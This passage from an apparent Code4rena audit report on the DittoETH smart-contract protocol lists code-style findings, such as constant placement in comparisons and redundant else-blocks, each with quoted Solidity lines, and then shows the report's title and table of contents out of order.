174:         if (e.buybackAmount == 0 || e.buybackAmount > e.ercDebt) revert Errors.InvalidBuyback();

/// @audit put `0` on the left
188:         if (e.ethFilled == 0) revert Errors.ExitShortPriceTooLow();

RedemptionFacet.sol (73, 235, 314, 353, 371):

/// @audit put `address(0)` on the left
73:         if (redeemerAssetUser.SSTORE2Pointer != address(0)) revert Errors.ExistingProposedRedemptions();

/// @audit put `address(0)` on the left
235:         if (redeemerAssetUser.SSTORE2Pointer == address(0)) revert Errors.InvalidRedemption();

/// @audit put `address(0)` on the left
314:         if (redeemerAssetUser.SSTORE2Pointer == address(0)) revert Errors.InvalidRedemption();

/// @audit put `address(0)` on the left
353:         if (redeemerAssetUser.SSTORE2Pointer == address(0)) revert Errors.InvalidRedemption();

/// @audit put `0` on the left
371:         if (shortRecord.ercDebt == 0 && shortRecord.status == SR.FullyFilled) {

LibOracle.sol (60, 60, 76, 76, 76, 89, 125, 125, 125, 126, 126, 126, 134):

/// @audit put `0` on the left
60:                 if (roundID == 0 || price == 0 || timeStamp > block.timestamp) revert Errors.InvalidPrice();

/// @audit put `0` on the left
60:                 if (roundID == 0 || price == 0 || timeStamp > block.timestamp) revert Errors.InvalidPrice();

/// @audit put `0` on the left
76:         bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0

/// @audit put `0` on the left
76:         bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0

/// @audit put `0` on the left
76:         bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0

/// @audit put `0` on the left
89:                 if (twapPrice == 0) {

/// @audit put `0` on the left
125:         bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0

/// @audit put `0` on the left
125:         bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0

/// @audit put `0` on the left
125:         bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0

/// @audit put `0` on the left
126:             || baseRoundId == 0 || baseTimeStamp == 0 || baseTimeStamp > block.timestamp || baseChainlinkPrice <= 0;

/// @audit put `0` on the left
126:             || baseRoundId == 0 || baseTimeStamp == 0 || baseTimeStamp > block.timestamp || baseChainlinkPrice <= 0;

/// @audit put `0` on the left
126:             || baseRoundId == 0 || baseTimeStamp == 0 || baseTimeStamp > block.timestamp || baseChainlinkPrice <= 0;

/// @audit put `0` on the left
134:         if (twapPrice == 0) revert Errors.InvalidTwapPrice();

LibOrders.sol (371, 371, 501, 505, 677, 805):

/// @audit put `0` on the left
371:         if (hintId == 0 || nextId == 0) {

/// @audit put `0` on the left
371:         if (hintId == 0 || nextId == 0) {

/// @audit put `0` on the left
501:         if (b.matchedAskId != 0) {

/// @audit put `0` on the left
505:         if (b.matchedShortId != 0) {

/// @audit put `0` on the left
677:         SR status = incomingShort.ercAmount == 0 ? SR.FullyFilled : SR.PartialFill;

/// @audit put `15 minutes` on the left
805:         if (timeDiff >= 15 minutes) {

LibSRUtil.sol (131):

/// @audit put `0` on the left
131:         if (short.ercDebt == 0) revert Errors.OriginalShortRecordRedeemed();

UniswapOracleLibrary.sol (52):

/// @audit put `0` on the left
52:         if (secondsAgo <= 0) revert Errors.InvalidTWAPSecondsAgo();

[33] Libraries should be defined in separate files

The libraries below should be defined in separate files, so that it’s easier for future projects to import them, and to avoid duplication later on if they need to be used elsewhere in the project.

UniswapOracleLibrary.sol (21):

21: library OracleLibrary {

[34] `else`-block not required

One level of nesting can be removed by not having an else block when the if-block always jumps at the end. For example:

if (condition) {
    body1...
    return x;
} else {
    body2...
}

can be changed to:

if (condition) {
    body1...
    return x;
}
body2...

There are 27 instances:

BidOrdersFacet.sol (106-112, 347-349):

106:         if (incomingBid.price >= lowestSell.price && (lowestSell.orderType == O.LimitAsk || lowestSell.orderType == O.LimitShort)) {
107:             // @dev if match and match price is gt .5% to saved oracle in either direction, update startingShortId
108:             LibOrders.updateOracleAndStartingShortViaThreshold(asset, LibOracle.getPrice(asset), incomingBid, shortHintArray);
109:             b.shortHintId = b.shortId = Asset.startingShortId;
110:             b.oraclePrice = LibOracle.getPrice(asset);
111:             return bidMatchAlgo(asset, incomingBid, orderHintArray, b);
112:         } else {

347:             if (noAsks || shortPriceLessThanAskPrice) {
348:                 return lowestShort;
349:             } else {

BridgeRouterFacet.sol (173-176):

173:         if (dethTotalNew >= dethTotal) {
174:             // when yield is positive 1 deth = 1 eth
175:             return amount;
176:         } else {

RedemptionFacet.sol (38-40):

38:         if (shortRecord.status == SR.Closed || shortRecord.ercDebt < minShortErc || proposer == shorter) {
39:             return false;
40:         } else {

LibBridgeRouter.sol (59-62, 65-68, 89-92, 95-98):

59:             if (creditSteth < C.ROUNDING_ZERO) {
60:                 // Valid withdraw when no STETH credits
61:                 return amount;
62:             } else {

65:                     if (creditSteth >= amount) {
66:                         VaultUser.bridgeCreditSteth -= amount;
67:                         return 0;
68:                     } else {

89:             if (creditReth < C.ROUNDING_ZERO) {
90:                 // Valid withdraw when no RETH credits
91:                 return amount;
92:             } else {

95:                     if (creditReth >= amount) {
96:                         VaultUser.bridgeCreditReth -= amount;
97:                         return 0;
98:                     } else {

LibOracle.sol (28-33, 48-50, 83-85, 98-100, 169-171):

28:             if (oracle == baseOracle) {
29:                 // @dev multiply base oracle by 10**10 to give it 18 decimals of precision
30:                 uint256 basePriceInEth = basePrice > 0 ? uint256(basePrice * C.BASE_ORACLE_DECIMALS).inv() : 0;
31:                 basePriceInEth = baseOracleCircuitBreaker(protocolPrice, baseRoundID, basePrice, baseTimeStamp, basePriceInEth);
32:                 return basePriceInEth;
33:             } else {

48:             if (oracle == baseOracle) {
49:                 return twapCircuitBreaker();
50:             } else {

83:         if (invalidFetchData) {
84:             return twapCircuitBreaker();
85:         } else if (priceDeviation) {

98:                 if (chainlinkDiff <= twapDiff) {
99:                     return chainlinkPriceInEth;
100:                 } else {

169:         if (LibOrders.getOffsetTime() - getTime(asset) < 15 minutes) {
170:             return getPrice(asset);
171:         } else {

LibOrders.sol (241-243, 243-245, 272-274, 274-276, 381-383, 383-385, 412-414, 421-423, 423-425, 765-768, 768-772, 836-838, 838-840):

241:         if (check1 && check2) {
242:             return C.EXACT;
243:         } else if (!check1) {

243:         } else if (!check1) {
244:             return C.PREV;
245:         } else if (!check2) {

272:         if (check1 && check2) {
273:             return C.EXACT;
274:         } else if (!check1) {

274:         } else if (!check1) {
275:             return C.PREV;
276:         } else if (!check2) {

381:         if (direction == C.EXACT) {
382:             return hintId;
383:         } else if (direction == C.NEXT) {

383:         } else if (direction == C.NEXT) {
384:             return getOrderId(orders, asset, C.NEXT, nextId, incomingOrder.price, incomingOrder.orderType);
385:         } else {

412:         if (orderType == O.LimitAsk || orderType == O.LimitShort) {
413:             return verifySellId(orders, asset, prevId, newPrice, nextId);
414:         } else if (orderType == O.LimitBid) {

421:         if (o == O.LimitBid || o == O.MarketBid) {
422:             return O.LimitBid;
423:         } else if (o == O.LimitAsk || o == O.MarketAsk) {

423:         } else if (o == O.LimitAsk || o == O.MarketAsk) {
424:             return O.LimitAsk;
425:         } else if (o == O.LimitShort) {

765:                 if (isExactStartingShort) {
766:                     Asset.startingShortId = shortHintId;
767:                     return;
768:                 } else if (startingShortWithinOracleRange) {

768:                 } else if (startingShortWithinOracleRange) {
769:                     // @dev prevShortPrice >= oraclePrice
770:                     Asset.startingShortId = prevId;
771:                     return;
772:                 } else if (allShortUnderOraclePrice) {

836:             if (hintOrderType == O.Cancelled || hintOrderType == O.Matched) {
837:                 continue;
838:             } else if (order.creationTime == orderHint.creationTime) {

838:             } else if (order.creationTime == orderHint.creationTime) {
839:                 return orderHint.hintId;
840:             } else if (!anyOrderHintPrevMatched && order.prevOrderType == O.Matched) {

LibSRUtil.sol (59-64):

59:             if (shorter == msg.sender) {
60:                 // If call comes from exitShort() or combineShorts() then always cancel
61:                 LibOrders.cancelShort(asset, shortOrderId);
62:                 assert(shortRecord.status != SR.PartialFill);
63:                 return true;
64:             } else if (shortRecord.ercDebt < LibAsset.minShortErc(asset)) {

[35] High cyclomatic complexity

Consider breaking down these blocks into more manageable units, by splitting things into utility functions, by reducing nesting, and by using early returns.

There are 2 instances:

ExitShortFacet.sol (142-211):

142:     function exitShort(
143:         address asset,
144:         uint8 id,
145:         uint88 buybackAmount,
146:         uint80 price,
147:         uint16[] memory shortHintArray,
148:         uint16

DittoETH Findings & Analysis Report

2024-06-25

Table of contents

Overview

About C4

Wardens

Summary

Scope

Severity Criteria

High Risk Findings (7)

Root cause and summary

Proof of Concept

Bonus note on issues 2 and 3

Recommended Mitigation Steps

Vulnerability Details

Impact

Proof of Concept

Recommended Mitigation Steps

Assessed type

Impact

Proof of Concept

Recommended Mitigation Steps

Exiting

Liquidation

Impact

Proof of Concept

Recommended Mitigation Steps

Assessed type

Proof of Concept

Recommended Mitigation Steps

Assessed type

Impact

Proof of Concept

Recommended Mitigation Steps

Assessed type

Impact

Proof of Concept

Recommended Mitigation Steps

Assessed type

Medium Risk Findings (9)

Proof of Concept

Recommended Mitigation Steps

Assessed type

Impact

Proof of Concept

Recommended Mitigation Steps

Proof of Concept

Tools Used

Recommended Mitigation Steps

Proof of Concept

Recommended Mitigation Steps

Assessed type

Proof of Concept

Recommended Mitigation Steps

Assessed type

Description

Impact

Proof of Concept

Recommended Mitigation Steps

Assessed type

Impact

Recommended Mitigation Steps

Assessed type

Impact

Proof of Concept

Recommended Mitigation Steps

Assessed type

Impact

Proof of Concept

Recommended Mitigation Steps

Assessed type

Low Risk and Non-Critical Issues

[01] Multiplication on the result of a division

[02] Events may be emitted out of order due to reentrancy

[03] Unsafe conversion from unsigned to signed values

[04] Vulnerable versions of packages are being used

[05] Critical functions should be controlled by time locks

[06] External function calls within loops

[07] Use descriptive constant instead of 0 as a parameter

[08] Code does not follow the best practice of check-effects-interaction

DittoETH
Findings & Analysis Report

[07] Use descriptive constant instead of `0` as a parameter

[09] Names of `private`/`internal` functions should be prefixed with an underscore

[10] Names of `private`/`internal` state variables should be prefixed with an underscore

[11] The `nonReentrant` `modifier` should occur before all other modifiers

[12] Custom errors should be used rather than `revert()`/`require()`

[18] Convert simple `if`-statements to ternary expressions

[21] `UPPER_CASE` names should be reserved for `constant`/`immutable` variables

[27] `@openzeppelin/contracts` should be upgraded to a newer version

[28] Lib `@prb/math` should be upgraded to a newer version

[29] Functions should be named in `mixedCase` style

[30] Variable names for `immutable`s should use `UPPER_CASE_WITH_UNDERSCORES`

[34] `else`-block not required